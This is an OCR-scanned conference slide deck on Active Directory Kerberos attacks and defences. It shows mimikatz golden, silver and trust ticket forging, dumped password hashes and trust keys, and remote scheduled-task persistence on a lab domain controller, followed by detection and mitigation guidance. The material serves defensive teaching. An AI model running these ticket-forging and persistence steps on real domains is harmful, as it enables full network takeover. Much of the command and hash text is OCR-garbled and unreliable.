#*# PAC generated

= PAC signed

#*# EnclicketPart generated
#*# EncTicketPart encrypted
#* HKrhCred generated

Golden ticket for ‘DarthlUader @ lab.adsecuritv.org’ successfully submitted for current session

mimikat=z<{commandline? # exit
Byet
PS C:slserssJoelser? klist

Current Logonld iz B:Bxdach3
Cached Ticket=s: (1>

A Client: DarthUader ] lah adsecurlt - D'
Server: : P A adsecurity.org
Herthcket Encryptlun Type- HEHDEI RC4—HMACCNT >
Ticket Flags Bx4@edBAdd —> forwardabhle renewable initial pre_authent
Etart Time: 3-12-2015 21:44:88 <(local>
End Time: 3132015 7:44:88 <(local>
Renew Time: 3-12-2015 21:44:88 <local>
Session Key Tyupe: RSEADSI RC4-HMACCNT >

PS C:sUserssJoelser? net use “sadsdcB2.lab.adsecurity.orgsciswindowssntds
he command completed successfully.
: = et e r > whoami

adsec lab~joeuser

= WL EF e er s




The Silver Ticket (Forged TGS)

+Service account configured for Kerberos auth (SPN).

4+ Encrypted with the service account private key:
+Service account NLTM password hash
4+ AD computer account NLTM password hash

+Service opens TGS ticket to validate.
4+ Golden Ticket equivalent access to service.
4+ No associated TGT exists, so no comm with a DC



Silver Ticket (Forged TGS) Communication

Domain Controller

2.
’ - +——6. AP REP(optional, u
User’s Workstation

Application Server



Silver Ticket: Domain Controller Exploitation

* Attacker dumped AD & has all domain creds.

*Corp IT changed all user, admin, and service
account passwords (and KRBTGT pw 2Xx).

 Attacker still has Domain Controller computer
account password hashes.

What is possible with these?



Silver Ticket: Domain Controller Exploitation

Sdomain:LAB.ADS

mlmlkatz{cummandllne} # kerberos::golden Aadmin:LukeSkywalker

482 — e —H2822H924 _Atarget:adsdcB2.lab.adsecurity.org Arcdieaacd59f6664f
Sep = LukEEk walker

-HL TRITY . ORG
5—1—5—21—133?233432—295?254255—32399@924
2681
*513 512 528 518 519

A

Jomalin
SID

User Id
Gruups Id

2784e — »c4d_hmac_nt

Target adsdcB2._.lab.adsecurity.oprc

iretime HM ;

—» Ticket #*#% Pas=s The iicﬂet x|

22825 12:13:36 AM ; 3-12/2825 12:13:36

PAC generated

PAC =siqgned
EncTicketPart generated
EncTicketPart encrypted
KrhCred generated

Golden ticket for ‘LukeSkywalker @ LAB.ADSECURITY.ORG' successfully submitted

L B B A

mimikatz{commandline?> ¥ exit
Bye?



Silver Ticket: Domain Controller Exploitation

PS C:stempsmimikatz? copy c:istempsInvoke—Mimikatz.psl ssadsdceB2.lab.adsecurity.orgsciswi
PS C:stempsmimikatz?> dir ssadsdeB2. lab.adsecurity.orgsciswindowsstemp

Directory: “SadsdcB2.lab.adsecurity.orgsciswindowsstenp

Mode Lastlritel ime Length Mame

d——— 371572815 12:15 AH 1

—a——— 21620815 2:27 AN B DMIZ2B83.tmp
—a——— 2162015 2:2% AN B DMIZ1EA.tmp
—a——— 2162015 2:2% AN B DMIZS5EZ . tmp
—a——— 2162015 2:2% AN B DMI433E.tmp
—a——— 217728015 12:48 AH A DMIS238.tmp
—a——— 2172015 12:89 AN B DMI?4FC.tmp
—a——— 21772815 12:48 AM B DMIAYDE . tmp
—a——— 21772815 12:48 AHM B DMIAB36.tmp
—a——— 217728015 12:48 AN B DMIAEDD. tmp
—a——— 21772815 12:89 AHM A DMIB611.tmp
—a——— 2172015 12:89 AN B DMIB6DC. tmp
—a——— 2172815 12:87 AN B DMIC488 . tmp
—a——— 21772815 12:48 AHM B DMIC4CY . tmp
—a——— 21728015 12:89 AN B DMICS63.tmp

8:54 PM

H q 1 LM q
2182015 676216 Invoke—Mimikatz.psl



Silver Ticket: Domain Controller Exploitation

mimikatz{commandline? # kerberoszs::qgolden admin:LukeSkywalker domain:Lf
482 — 295?254255 828998224 target:adsdcB2.lab.adsecurity.orgy Arcdieaacdh?d
Uzer LukeSkywalker

Domain LAB. HDEEEUHITT ORG

=ID S—-1-5-21-1387203482-2957264255-828998724

Uzer Id 2681

i Ty |

BerviceKey

eaacy
HOST
adsdcB2.1lab.adsecurit

A - L " . 5 - - - x 3712720025 12
#*#% Pass The Ticket =

1fet1me
—* Ticket

PAC generated

PAC signed
EncTicketPart generated
EncTicketPart encrypted
KrhCred generated

Golden ticket for jJLukeSkywalker B LAB.ADSECURITY.ORG] successfully subm:

mimikatz{commandline?> # exit
Bye?

e g g _ _ _ m - - _ -

L B B



Silver Ticket: Domain Controller Exploitation

Cached Tickets: (1>

1A Client: LukeSkywalker @ LAB.ADSECURITY.ORG

Server: HOST.-adsdcB2.lab.adsecurity.org @ LAB_.ADSECURITY .ORG
KerbhTicket Encryption Type: RSADSI RC4-HMACCNT >

Ticket Flags Bx48aB88080 -> forwardable renewable pre_authent
Start Time: 3-15-.2015 BA:-19:42 (local>

End Time: 3122025 B:19:42 (locall

Renew Time: 37122825 BA:19:42 (local>

Seszsion Key Type: RSADSI RC4-HMACCHNT »

PS C: Htemp&mlmlkatz} schtasks screate -8 adschE lab. adsecurlty org 8SC WEEKLY ~RU "NT Authority~Suyst

Al as successtu

peen created

PE E Htemp\mlmlkatz} schtasks screate HE adschE lahb. adsecurlty orqg ~<5C WEEKLY ARU "MT Authority

HHRHIHG The.task name "SCOM Agent Health Gheck" already exizts. Do you want to replace it (Y/M>7
SUCCESS: The scheduled task "SCOM Agent Health Check' has successfully heen created.

PS5 C:xtempsmimikatz? schtasks Aquery #5 adsdceB2.lab.adsecurity.org
Folder: *

Mext Bun Time

SCOM Agent Health Check 3,22,2015 12:21:88 AN Readv |




Silver Ticket: Domain Controller Exploitation

% invoke-mimikatz 1/4/2015 10:40 PM P51 File 619 KB
;g mmkdom 1/4/2015 10:43 PM Text Document

I mmkdom - Notepad
File Edit Format WView Help

. #EHEE, mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 20 2014 ;ﬂ
0B:56:48) .## A ##, ## / ## F oF % g& N/ ## Eenjamin DELPY
‘gentilkiwi™ ( benﬂamin@genti1kiwi.cnm ) #EE v ##
http://blog.gentilkiwi.com/mimikatz {oe.e0) #EHEFF

with 14 modules ®* * ﬁfmimikatz(qnwer5h911} #
privilege: :debugPrivilege "20° OoKmimikatz(powershell) # Isadump::samrpc
/patchDomain : ADSECLAB / S5-1-5-21-1473643419-774954089- EEEEEEQIETRID

Qo0001f4 (500)user : AdministratorLM : NTLM :
6T40d9clcab7T73d298dc3d94163543drRID = 000001T5 (501)User : GuestLM
NTLM : RID : 000001f6 (502)user : krbtgt M : NTLM :

fe2ale20851d0229T2489210b6576ederID @ wuld03e8 {lﬂﬂﬂjUEer : adminLMm
NTLM : 7c08d63a2T48T045971bc2236ed3TIacrRID : 00000452 (1106)user

LukeskywalkerLm : NTLM : 177af8ab46321ceef22b4e8376f2dba7RID : 00000453
M107%saer = Han<olol M = MNTIM * FARQrNcEZIafq?Xh?anqc?dfFdea1 cGRE2PE1 BRTH



Silver Ticket: Domain Controller Exploitation

4+ Gain access to a Domain Controller’s AD computer account
password.

4+ Generate Silver Ticket for CIFS SPN to access file system via
default shares.

4+ Generate Silver Ticket for HOST SPN to create scheduled task to
run as local System (and re-exploit the domain).

HOST =
alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,
policyagent,oakley,dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,
netdde,netddedsm,nmagent,plugplay,protectedstorage,rasman,rpclocator,rpc,rpcss,
remoteaccess,rsvp,samss,scardsvr,scesrv,seclogon,scm,dcom,cifs,spooler,snmp,schedule,
tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,msdtc



Kerberos Across Trusts
“The Other TGT”



Cross-Domain/Forest Kerberos

Blue Domain Green Domain
Domain Controller Domain Controller

Forest Trust

Application
Server

User’s
Workstation



Kerberos Trust Ticket

External Trust




Forge Trust Ticket Using Mimikatz

RID : 0000045b (1115)
ser : EXTERNAL%

= Primary

! .
NTLM : /7cO08d63a2T451T045971bc2236ed3tT3Iac

mimikatz<{commandline>»> # kerberosz::golden domain:lab.adsecurity.org s=id:5-1-5-21-1583%
cH8d63a2f48Ff 4521 bec2236ed3f3ac Auser:Administrator sservice:ikrbtgt Atargetiexternal.co
rhi

Uzsepr

Domain
SID

Adminiztrator
lab.adsecurity.oryg

C—1-5-21-15837"191-148008446—3268284411
User Id LA

Seruicele ?cEﬂdﬁ3aEF4Efﬂ4é9?1hc2235&d3f3ac — rc4d hmac _nt
SEPrUiIce = kb ol

[arget external.com

ifetime I G g F:34:48 AM ; 62420925 9:34:-48 AM ; 6242025 9:34:-489 AN
—» Ticket : c:stemps\TrustTicketl.kirhi

* PAC generated

* PAC signed

* EncTicketPart generated

#*# EncTicketPart encrypted

#* KrhCred generated

Final Ticket Saved to file *



Leverage Forged Trust Ticket for TGS Tickets

PS5 C:stempskekeo? .SAsktgs cistemp™TrustTicketl.kirhi cifs-sadsextdcBl.external.com

- HHHHH . AzskTGS Kerberos client 1.8 <xB6> release "Hiwi en C" <Apr 17 2815 dvBA:51:37
JHiE R
HeE ~ ~ HH /= x =
#t ~ S i Benjamin DELPY ‘gentilkiwi® ¢ benjaminPgentilkiwi.com >
‘HH v Hi' http: blog.gentilkiwi.com Coe.eo)
fHUHER IS

cantempsnTrustTicketl . kirhi
krhtgt ~ external.com @ lab.adsecurity.org
Administrator @ lab.adsecurity.orqg

> cifs/adsextdcHl .external.com
__*_Ticket in file ‘cifs.adsextdcHl .external.com.kivrbhi’




Access Protected Resources Across Domain Trust

4+ Trusting domain Share only accessible to Trusted domain admins.
4+ Forged Trust ticket provides access to share.

ooy Metwork » adsextdcddl.external.com » AdminShare - |

M_Wl adrminfile - Notepad

File Edit Format WView Help

only External domain administrators can change.
T oNly Trusted admins have read access.




Kerberos Trust Ticket

Active Directory Forest Internal Trusts

/ \

"’ / L . / »
Ay Ay



urrent domain:

qu

el
df
84
o
33
26

[ Out ] RD.LAE
6/17 /2015

e
df
84
o
33
26

Mimikatz Extracts Trust Keys

mimikatz({commandline) # lIsadump::trust Spatch

ain:
In
e3
Fal
98
42
(o
5d

-

1 &3

il
98
42
C/
&d

al
33
21
4a
9C
&b

="

ad
33
21
4a
9c
&b

-

91 0d cO
59 88 68
a9l ai ad
14 1e 25
ed ff eb
.

FC
91
2C
Zb
91
ag

a&5256 hmac

91 Od c0
9 88 68
a9l ai ad
14 1e 25
ed ff eb
.

fC
91
2C
Zb
91
aq

a&5256 hmac

rcd hma

nt

10
06
57
27
N
ald

10
06
57
27
N
al

i 35 4? PM - CLEAR

8c 32 db
beé 10 6&cC
99 91 Bd
3f B89 ab
De 4e 0
ds 39 38

c5 b9
e2 92
al e9
3a 65
2f b
3f 58

EE
45
a8
0
1b
bd
73

45

46 9b

ae

98

cO

ald
s
He
25
53
4da
fe

2
el
ec
16
ed
26
22

8f
bb
To
ea
ca
54
11

11
5
b7
45
5d
70
4c

85
35
ed
0
s
24
ch

LAE. ADSECURITY.ORG (ADSECLAE / 5-1-5-21-1583770191-140008446-32682584411)

RD, LAE. ﬂDSECURITT ORG (RD 5 e 5 21 135380161-102191138-581311202).
5;1?;2&15

55 5b
el Cf
2e 22
57 bl
86 4b
5 71
&6T

18
16
8d
Oa
72
ct

CFlDaES5?b1d2?920f?3?25EDQEEECSEfadEdEDaEDEEbdedEEDCSEEEEEEEDQDC

aEa-E e&d1 d90b(

8c 32 db
bé 10 6cC
99 91 Bd
3f B89 ab
Oe 4e T0
ds 39 38

c5 b9
e2 92
al e9
3a 65
2f b
3f 58

B85
48
a8
0
1b
bd
73

-'c?943 52 a-EDE

dd

-ADSECURITY.ORG -= LAB.ADSECURITY.
F:35:47 PM - CLEAR

4f

de e3

Ch
d8
ed
28
48

dd
&8
BC
fe
ad

ORG

45 3
Oc 4c
81 1b
2d c3
37 5
2d el
46 9b

ae

98

cO

ald
2d
He
25
53
4da
fe

2
el
ec
16
ed
26
22

8f
bb
o
cd
ca
24
11

11
Y
b7
45
5d
70
4c

85
35
ed
0
s
24
ch

55 5b
el c’f
2e 22
57 bl
86 4b
5 71
6T

18
16
8d
Oa
72
ct

EE#CEChDCdEleEdESf&QS33245DEdDﬂ?ahghhflﬁfEaDEEdEdf&ch?ﬂiE?DEEh

aEad&fEEdldgDthh#cF943d5EfadED

2a
12
21
bd
50
0

2a
12
21
bd
50
0



Forge Trust Ticket Using Mimikatz

mimikatz<commandline»> # kerbherosz::golden Adomain:lab.adsecurity.orqg ~sid:=:5-1-5-21-15
2adef66d1d?8b8f hdc7243d52Fad283 Auser:Administrator sservice:krbtgt Atarget:-rd.lab.a
icketl .kirhi

Uzser : Administrator

Domain lab.adsecurity.org

SID : §-1-5-21- 1533??@191 1400A8446-3268284411

User Id LA

serviceKevu: aZadefb66d1d?8bBAf hdc?7?243d52fad283 — »cd hmac _nt
sePrUlce - kEpbhrdgl

1fetime - k f i - WG - : : b/242025 18:-88:-23 AM ; 6242825 18:88:-23 AM
—» Ticket : c:istempsTrustTicketl_ kirbi

1 - 7

* PAC generated

=*= PAC signed

* EncTicketPart generated
#* EncTicketPart encrypted
#* KprbhCred generated

Final Ticket Saved to file 1!



Leverage Forged Trust Ticket for TGS Tickets

PS5 C:stempskekeo> .“Asktgs c:istempsTrustTicketl .kirhi cifssadscdell.pd.lab.adsecurity.or

- HHHH. AzkTGS Kerberos client 1.8 (x8B6> release "Kiwi en C" C(Apr 19 2015 HA:51:37>
JHHE O OHi.
Bt ~ ~ HHE = = =
it ~ /7 i Benjamin DELPY ‘gentilkiwi® ¢ benjaminPgentilkiwi.com >
‘v HE http: - blog.gentilkiwi.com Coe.eol
g i ey * S

Ticket
Service
Principal

castempsTrustTicketl . kirhi
krhtgt ~ »d.lab.adsecurity.org P labh.adsecurity.org
Administrator @ lab.adsecurity.org

# cifssadscdcecll.r»rd.lab.adsecurity.org
__*_Tinket in file ‘cifs.adscdcll.»d.lab.adsecurity.org.kirbi’




Access Protected Resources Across Domain Trust

PSS C:stempskekeo> klist
Current Logonld is B:8x37ffBa
Cached Tickets: (1>

ient: Administrator E-lah.adsecurity.urg
cifssadscdcll.»d._lab.adsecurituv.org @ RD_LAB.ADSECURITY . ORG
e ncryption lype:
Ticket Flags Bx4da58888A -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 6-/2772015 180:87:16 <local>
End Time: 6-27-2015 28:8%:16 (local’
Renew Time: 7742015 18:@87:16 <locall
Session Key Type: RSADSI RC4-HMACGCNT >

PSS C:stempskekeo? net use H\adscdcii.Pd.iah.adsecurity.urg\admin$

The command cumpleted successfully.

PS C:stempskekeo? dir ssadscdcll.rd.lab.adsecurity.orgsciswindowssntds
Directory: “sadscdell.pd.lab.adsecurity.orgscdswindowssntds

LastlriteT ime Length Hame

62772015 2:17 AM 81922 edhb.chk

627 .2815 2:18 AHM 18485768 edb.loyg

6-/2772015 4:48 AM 18485768 edbBBAAAS . log

61772815 7:35% PHM 18485768 edbresBHHA1 . jrs

61772815 7:35% PHM 18485768 edbresBAHB2 . jrs
2anl PH o

bs27 728015 2:17 AH 25182288 ntds.dit

AL ) T-Lr HMN i .

tstempskekeo* whoami
adzec lab™. i




Forging Kerberos Tickets Across Trusts

4+ Each trust has an associated password (stored in each domain).
4+ Used to create cross-domain Kerberos tickets (“Trust Tickets”).
4+ Golden Tickets don’t work across trusts®.

4+ Compromise trusted domain for access to trusting domain.

+ Trust password is changed by domain machine password policy.

Best Mitigation: Don’t let attackers run code on DCs — Protect DAs!



Blue Team (Defense)




Raising the Bar

Detect § Mitigate § Prevent




1

Detecting MS14-068 On the Wire

= tgs-req
pvno: 5
msg-type: krb-tgs-req (12)
AS'REQ = padata: 2 items TGS'REQ
Kerberos 5 PA-DATA PA-TGS-REQ
0 = padata-value: 6e820203308201ffa003020105a10302010ea20703050000. .
- - " » - " - 'y 88 - "0 28 .8''9 - E|ap_req
. 000 0000 O0O00 0000 0000 0001 0010 C pvno: 5 . _
- " msg-type: krb-ap-req (14
=l a5-req Padding: O
pvno: 5 = ap-options: 00000000
msq- * krb-as-r 0... .... =reserved: False
_ =t IYE)G k b-as s (10) .0.. .... = use-session-key: False
= padata' 2 1tems sull i = mutual-required: False
= PA-DATA PA-ENC-TIMESTAMP = ticket
= padata-type: KRBS5-PADATA-ENC-TIM B e
= padata-value: 303da003020117a2 5 sname
etype: eTYPE-ARCFOUR-HMAC-MLC _ IARETRe: SRR NIt PRINGIPAL CD)
2 0 - :
= PA-DATA PA-PAC-REQUEST Etype: eTYPE-ARCFOUR-HMAC-MD5 (23)
= - » 2 _DA_ N vno: 2
= padata type: KRB5-PADATA-PA-PAC cipher: 5b8e025719b0779efc3c6a9a5a4f2312395bebfaébcffb8e
= padata-value: 3005a003010100 = authenticator
: r: . etype: eTYPE-ARCFOUR-HMAC-MD5 (23)
-t L__,__1 nclude-pac: False cipher: d606bae2ed83b02ad5f2c37ce0518d57dfbabad7eafeb619. .

= PA-DATA PA-PAC-REQUEST
= padata-type: KRB5-PADATA-PA-PAC-REQUEST (128)
= padata-value: 3005a003010100
include-pac: False

T T TR



Detecting Forged Kerberos
Golden (TGT) & Silver (TGS) Tickets

* Normal, valid account logon event data structure:
* Security ID: DOMAIN\AccountID
* Account Name: AccountiD
* Account Domain: DOMAIN

* Golden & Silver Ticket events may have one of these
Issues:

* The Account Domain field is blank when it should contain
DOMAIN.

e The Account Domain field is DOMAIN FQDN when it should
contain DOMAIN.

* The Account Domain field contains “eo.oe.kiwi :)“




Golden Ticket Event 4672: Fictional Admin Logon

Special privileges assigned to new logon. _
Special privileges assigned to new logon.

Subject: Subject:
Z““"’yn D JEahY WAKEL Security ID: §-1-5-21-1387203482-2957264255-828990924-9999
ccount Name: LukeSkywalker A
. ccount Name: DarthVader
Account Domain: ADSECLAS Ry R
Logon ID: 0:3a6678 Logon ID: 051628
Privileges: SeSccuritfoi\filegc Privileges: SeSecurityPrivilege
SeBackupPrivilege SeBackupPnvilege
SeRestorePrivilege SeRestorePrivilege
SeTakeOwnershipPrivilege SeTakeOwnershipPrivilege
SeDebugPrivilege SeDebugPrivilege
SeSystemEnvironmentPrivilege SeSystemEnvironmentPrivilege
Sel.oadDrniverPrivilege SeLoadDriverPrivilege
SelmpersonatePrivilege SelmpersonatePrivilege
SeEnableDelegationPrivilege SetnableDelegationPrivilege

Valid Forged Ticket



Golden Ticket Event 4672: Fictional Admin Spoofing

Subject:
Security ID:
Account Name:
Account Domain:
Logon ID:

Privileges:

Special privileges assigned to new logon,

ADSECLAB\LukeSkywalker

LukeSkywalker
ADSECLASB
0336678

SeSecurityPrivilege
SeBackupPrivilege
SeRestorePnvilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeloadDrniverPrivilege
SelmpersonatePrivilege
SeEnableDelegationPrivilege

Valid

Special privileges assigned to new logon.

Subject:
Security D
Account Name:
Account Domain:
Logeon ID:

Privileges:

ADSECLAB\LukeSkywalker

DarthVader
e 7CARS

SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege
5eTakeCwnershipPrivilege
5ellebugPrivilege
SeSysternEnvirenmentPrivilege
Sel cadDriverPrivilege
SelmpersonatePrivilege
SeEnableDelegationPrivilege

Forged Ticket



Detecting MS14-068 Exploit Security Events

* Normal, valid account logon event data structure:
 Security ID: DOMAIN\AccountID
* Account Name: Accountl|D
* Account Domain: DOMAIN

* MS14-068 Exploit events may have 1 (or more) of these:

e The Account Domain field is blank when it should be
DOMAIN

e The Account Domain field is DOMAIN FQDN when it should
be DOMAIN.

* Account Name is a different account from the Security ID.




AD Attack Mitigation: PowerShell Security

* Limit PowerShell Remoting (WinRM).
* Limit WinRM listener scope to admin subnets.
* Disable PowerShell Remoting (WinRM) on DCs.

» Audit/block PowerShell script execution via AppLocker.
* PowerShell v3+: Enable PowerShell Module logging (via GPO).

n  (l 1)

* Search PowerShell logs for “mimikatz”, “gentilkiwi”, “Delpy”,
“iex (new-object net.webclient).downloadstring”, etc

* Leverage Metering for PowerShell usage trend analysis.
* JoeUser ran PowerShell on 10 computers today?

* Track PowerShell Remoting Usage



PowerShell v5 Security Enhancements

*System-wide transcripts

*Script block logging

*Constrained PowerShell

* Antimalware Integration (Win 10)



Mitigation Level One (Low)

* Minimize the groups (& users) with DC admin/logon rights
» Separate user & admin accounts (JoeUser & AdminJoeUser)
* No user accounts in admin groups

* Set all admin accounts to “sensitive & cannot be delegated”

* Deploy Security Back-port patch (KB2871997) which adds local
SIDs & enable regkey to prevent clear-text pw in LSASS.

* Set GPO to prevent local accounts from connecting over network
to computers (easy with KB2871997).

* Use long, complex (>25 characters) passwords for SAs.

* Delete (or secure) GPP policies and files with creds.

e Patch server image (and servers) before running DCPromo
* Implement RDP Restricted Admin mode




Mitigation Level Two (Moderate)

* Microsoft LAPS (or similar) to randomize computer local admin
account passwords.

e Service Accounts (SAs):

 Leverage “(Group) Managed Service Accounts”.

* Implement Fine-Grained Password Policies (DFL >2008).

* Limit SAs to systems of the same security level, not shared
oetween workstations & servers (for example).

e Remove Windows 2003 from the network.

* Separate Admin workstations for administrators (locked-
down & no internet).

* PowerShell logging




Mitigation Level Three (“It’s Complicated”)

* Number of Domain Admins =0

« Complete separation of administration New Admin Model
* ADAs use SmartCard auth w/ rotating pw
* ADAs never logon to other security tiers. Active Directory Admins (ADAs)

* ADAs should only logon to a DC

(or admin workstation or server).
* Time-based, temporary group membership. Server Application Admins
* No Domain Admin service accounts running on

non-DCs.

e Disable default local admin account & delete all
other local accounts.

Workstation Admins

* Implement network segmentation.
 CMD Process logging & enhancement (KB3004375).



Attack Detection Paradigm Shift

* Microsoft Advanced Threat Analytics (ATA, formerly Aorato)
* Monitors all network traffic to Domain Controllers
e Baselines “normal activity” for each user (computers, resources, etc)
» Alerts on suspicious activity by user
* Natively detects recon & attack activity without writing rules

* ATA Detection Capability:
* Credential theft & use: Pass the hash, Pass the ticket, Over-Pass the hash, etc
* MS14-068 exploits

Golden Ticket usage

DNS Reconnaissance

Password brute forcing

Domain Controller Skeleton Key Malware



Microsoft ATA Suspicious Activity

Suspicion of Identity Theft based on Abnormal Behavior

Ophir Polotsky exhibited abnormal behavior when performing activities that were not seen over the
last month and are also not in accordance with the activities of other accounts in the organization. The
abnormal behavior is based on the following activities:

= Performed interactive login from & abnormal workstations.

= Performed interactive login from FS.
= Reguested access to 12 abnormal resources.

Mote Email Export to Excel Details Open

Ophir Polotsky
SR PROGRAM MAMAGER

Comp18 9 Abnorma Comp18 12 Abnormal
computers fo CIFs resources

Recommendations
8 Disconnect the relevant computers from the network or mowve them into an isolated environment and start a

forensics procedure by investigating: unknown processes, services, registry entries, unsigned files, and more
» Contact Ophir Polotsky and investigate if the user has logged in to abnormal computers and accessed abnormal

r=crlIFcses



Credential Theft Protection (Future)

LSAlso

NTLM Support

Kerberos Support Kerberos

Computer Hardware



Additional Mitigations

* Monitor scheduled tasks on sensitive systems (DCs, etc)
e Block internet access to DCs & servers.

* Monitor security event logs on all servers for known forged
Kerberos & backup events.

* Include computer account password changes as part of
domain-wide password change scenario (breach recovery).

* Change the KRBTGT account password (twice) every year &
when an AD admin leaves.

* Incorporate Threat Intelligence in your process and model
defenses against real, current threats.



Ssummary

 Attackers will get code running on a target network.
* The extent of attacker access is based on defensive posture.

* Advanced attacks may be detectable. Though it’s better to
prevent this type of access in the first place.

* Protect AD Admins or a full domain compromise is likely!

My research into AD attack, defense, & detection is ongoing. This
is only the beginning... ©



Thanks!

* Alva “Skip” Duckwall (@passingthehash)
* http://passing-the-hash.blogspot.com

N o * Many others in the security community!
e Benjamin Delpy (@gentilkiwi)

* http://blog.gentilkiwi.com/mimikatz

* My wife & family for putting up with me

e ChrisC bell b : '
ris Campbell (@obscuresec) being on the computer every night! ©

* http://obscuresecurity.blogspot.com

* Joe Bialek (@clymb3r)
* https://clymb3r.wordpress.com

* Matt Graeber (@mattifestation)

* http://www.exploit-monday.com CONTACT:
. Sean Metcalf
* Rob Fuller (@mubix) @PyroTek3
* http://www.room362.com sean [@] dansolutions . com
« Will Schroeder (@harmjoy) http://DAnSolutions.com

https://www.ADSecurity.org

* http://blog.harmjOy.net
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http://blog.gentilkiwi.com/mimikatz
http://obscuresecurity.blogspot.com/
https://clymb3r.wordpress.com/
http://www.exploit-monday.com/
http://www.room362.com/
http://blog.harmj0y.net/
http://dansolutions.com/
https://www.adsecurity.org/
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Golden & Silver Ticket Event Anomalies

* Event ID: 4624 (Account Logon)*
e Account Domain is FQDN & should be short domain name
e Account Domain: LAB.ADSECURITY.ORG [ADSECLAB]

* Event ID: 4672 (Admin Logon)*
e Account Domain is blank & should be short domain name
e Account Domain: [ADSECLAB]

* Event ID: 4634 (Account Logoff)
e Account Domain is blank & should be short domain name
e Account Domain: [ADSECLAB]




Detecting MS14-068 Exploit Events

* Event ID: 4624 (Account Logon)*

e The Account Domain field is DOMAIN FQDN when it should be
DOMAIN.

* Account Name is a different account from the Security ID.

* Event ID: 4672 (Admin Logon)*

e The Account Domain field is DOMAIN FQDN when it should be
DOMAIN.

* Account Name is a different account from the Security ID.
e Account Domain is blank & should be DOMAIN.

* Event ID: 4768 (Kerberos TGS Request)

e The Account Domain field is DOMAIN FQDN when it should be
DOMAIN.




Silver Ticket Event 4624: Account Logon

An account was successfully logged on. An account was successfully logged on.
- Subject:
== Security ID: NULL SID ASCLAyI: PRS0
Account Name: -
Account Name:. X Account Domain: -
fccoun‘B Domain: (—m Logon ID: 00
ogon ID:
Logon Type 3
Logon Type 3
New Logon:
- Account Name: LukeSkywalker
?«f::tn:‘; e ﬁ?ks eESiyLaz\l:;keSkywalku Account Domain: LAB.ADSECURITY.ORG
Account Domain: ADSECLAB sl SRR
Logon ID: 0326678 ogon : { edaa-blee- - -aba ebOda)
Logon GUID: {8d8eac/a-8d7f-58e6-df5a-Te7cd3a7fb93]  p/ocess Information:
Process ID: 0:0
Process Information: Process Name: -
Process ID: )
Process Name - Network Information:
Workstation Name:
Source Network Address:  1721611.202
Source Port: S0017

Valid Forged Ticket



Silver Ticket Event 4634: Account Logoftf

Valid Forged Ticket



Silver Ticket Event 4674: PowerShell Remoting

An operation was atternpted on a privileged cbject.

Subject:
Security [D: ADSECLAB\LukeSkywalker
Account Name: LukeSkoywalker
Account Domain:

Logon ID: Ox09B8A

Object:
Object Server: Security
Object Type: -
Object Name: -
Object Handle:  (eedd0

Process Information:
Process |k (e
Process Name:  CA\Windows\5ystems2\wsmprovhost.exe

Requested Operation:
Desired Access: 983103
Privileges: 5eTakeCwnershipPrivilege




Golden Ticket Event 4672: Fictional Admin Logon

Special privileges assigned to new logon. I
Special privileges assigned to new logon.

Subject: :
Security ID: ADSECLAB\LukeSkywalker Subject
[T e LukeSkywalker Secunty ID: S-1-5-21-1387203482-2957264255-828990924-9999
Account Domain: ADSECLAB Accadne Name Racthyaces
Account Domain:
Logon ID: 0336678 Logon ID: 0516628
SLEEgEs g:SB:cclI::l?::wv;le?: Privileges: SeSecu:ityP{i\filege
SeRestorePrivilege SeBackupPnivilege
R SeRestorePrivilege
g:;::f;::::l::;rp rivilege SeTakeOwnershipPrivilege
: % SeDebugPrivilege
g;systc%n_ﬁnvgqn}lﬂent?rwﬂege SeSystemEnvironmentPrivilege
cagunverrriviiege SeLoadDriverPrivilege
SelmpersonatePrivilege Selmpefsonateprivue'?cge
SeEnableDelegationPrivilege SeEnableDelegationPrivilege

Valid Forged Ticket



Golden Ticket Event 4672: Fictional Admin Spoofing

Subject:
Security ID:
Account Name:
Account Domain:
Logon ID:

Privileges:

Special privileges assigned to new logon,

ADSECLAB\LukeSkywalker

LukeSkywalker
ADSECLASB
0336678

SeSecurityPrivilege
SeBackupPrivilege
SeRestorePnvilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeloadDrniverPrivilege
SelmpersonatePrivilege
SeEnableDelegationPrivilege

Valid

Special privileges assigned to new logon.

Subject:
Security D
Account Name:
Account Domain:
Logeon ID:

Privileges:

ADSECLAB\LukeSkywalker

DarthVader
e 7CARS

SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege
5eTakeCwnershipPrivilege
5ellebugPrivilege
SeSysternEnvirenmentPrivilege
Sel cadDriverPrivilege
SelmpersonatePrivilege
SeEnableDelegationPrivilege

Forged Ticket



Golden Ticket Use: KRBTGT password changed 2x

‘Fl Event Properties - Event 4769, Microsoft Windows security auditing.

General | Details |

A Kerberos service ticket was requested. =

Account Information:
Account Mame:
Account Domain:
Logon GUID: £00000000-0000-0000-0000-00000000000073

Service Information:
Service Mame:
Service ID: MULL SID

Metwork Information:
Client Address: ffff1721611.202
Client Port: 50422

Additional Infarmation:

Ticket Options: Ched 0810000
Ticket Encrvntion Tvoe: Onf T
Failure Code: il T

| ransited Services: -

This event is generated every time access is requested to a resource such as a computer or a

Windows service, The service name indicates the resource to which access was requested. ll
Log Mame: Security

Source: Microsoft Windows security  Logged: 3/16/201510:04:07 PM

Event ID: 4769 Task Category: Kerberos Service Ticket Operation

Level: Information Keywords: Audit Failure



MS14-068 PyKEK Exploit Ticket Event 4624

An account was successfully logged on.

Subject:
Security ID:
Account Name:
Account Domain:
Logon 1D:

Logon Type

New Logon:
Security 1D:
Account Name:
Account Domain:
Logon ID:
Logon GUID:

Process Information:
Process [D:
Process Name:

NULL SID

00

3

ADSECLAB\LukeSkywalker

LukeSkywalker

ADSECLAB

0x3a668d

{df5cd cce-5d32-9997-8bff-484038005d1 b}

0x0

Valid

An account was successfully logged on.

Subject:
Security 1D: NULL SID
Account Name: -
Account Domain: -

Logon ID: 00
Logon Type 3
New Logon:
Security ID; ADSECLAB\LukeSkywalker
Account Name: joeuser
Account Domain: LAB.ADSECURITY.ORG
Logon ID: 0x4869d9
